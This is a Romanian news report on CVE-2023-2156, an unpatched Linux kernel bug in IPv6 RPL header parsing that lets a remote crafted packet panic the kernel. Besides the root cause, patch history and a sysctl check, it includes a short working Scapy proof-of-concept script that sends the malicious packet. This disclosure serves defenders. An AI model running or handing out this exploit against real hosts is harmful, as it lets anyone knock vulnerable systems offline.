Vulnerabilitate 0-day în stiva IPv6 a Linux-ului, care permite prăbușirea de la distanță a nucleului

Informațiile despre o vulnerabilitate necorectată (0-day) (CVE-2023-2156) în nucleul Linux au fost dezvăluite, permițând oprirea sistemului prin trimiterea de pachete IPv6 special concepute (packet-of-death). Problema apare doar când este activată suportul pentru protocolul RPL (Routing Protocol for Low-Power and Lossy Networks), care este dezactivat în mod implicit în distribuțiile Linux și este utilizat, în principal, pe dispozitive încorporate care funcționează în rețele wireless cu pierderi mari de pachete.

Vulnerabilitatea este cauzată de manipularea incorectă a datelor externe în codul de analiză a protocolului RPL, ceea ce duce la declanșarea unei erori assert și la trecerea nucleului în stare de panică. Când datele obținute din analiza antetului pachetului IPv6 RPL sunt plasate în structura k_buff (Socket Buffer), dacă câmpul CmprI are valoarea 15, câmpul Segleft are valoarea 1, iar CmprE are valoarea 0, un vector de 48 de biți cu adrese este desfășurat la 528 de biți, provocând o situație în care buffer-ul de memorie alocat nu este suficient. În acest caz, în funcția skb_push, aplicată pentru a plasa datele în structură, se declanșează un control în legătură cu incongruența între dimensiunea datelor și buffer, generând o stare de panică pentru a preveni scrierea în afara buffer-ului.

Exemplu de exploit: # Vom folosi Scapy pentru a crea pachetul from scapy.all import * import socket # Folosiți IPv6 de pe interfața LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Folosim sockets pentru a trimite pachetul sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Creăm pachetul # Type = 3 face acest lucru un pachet RPL # Adresele conțin 3 adrese, dar deoarece CmprI este 15, # fiecare octet din primele două adrese este tratat ca o adresă comprimată # Segleft = 1 pentru a declanșa amplificarea # lastentry = 0xf0 setează CmprI la 15 și CmprE la 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) \\ IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Trimiteți acest pachet malefic sockfd.sendto(bytes(p), (DST_ADDR, 0))

Este demn de remarcat faptul că dezvoltatorii nucleului au fost informați despre vulnerabilitate încă din ianuarie 2022 și în ultimele 15 luni au încercat de trei ori să remedieze problema, eliberând patch-uri în septembrie 2022, octombrie 2022 și aprilie 2023, dar de fiecare dată remedierile s-au dovedit a fi insuficiente și vulnerabilitatea a putut fi reprodusă. În cele din urmă, proiectul ZDI, care a coordonat lucrările de remediere a vulnerabilității, a decis să dezvăluie informații detaliate despre vulnerabilitate, fără a aștepta apariția unei soluții funcționale în nucleu.

Astfel, vulnerabilitatea rămâne necorectată. De asemenea, patch-ul inclus în kernel 6.4-rc2 nu este eficient. Utilizatorii sunt sfătuiți să verifice dacă protocolul RPL este utilizat în sistemele lor, ceea ce se poate face folosind comanda sysctl -a | grep -i rpl_seg_enabled.

Sursa: opennet.ro

Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS 🔥 Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS | ProHoster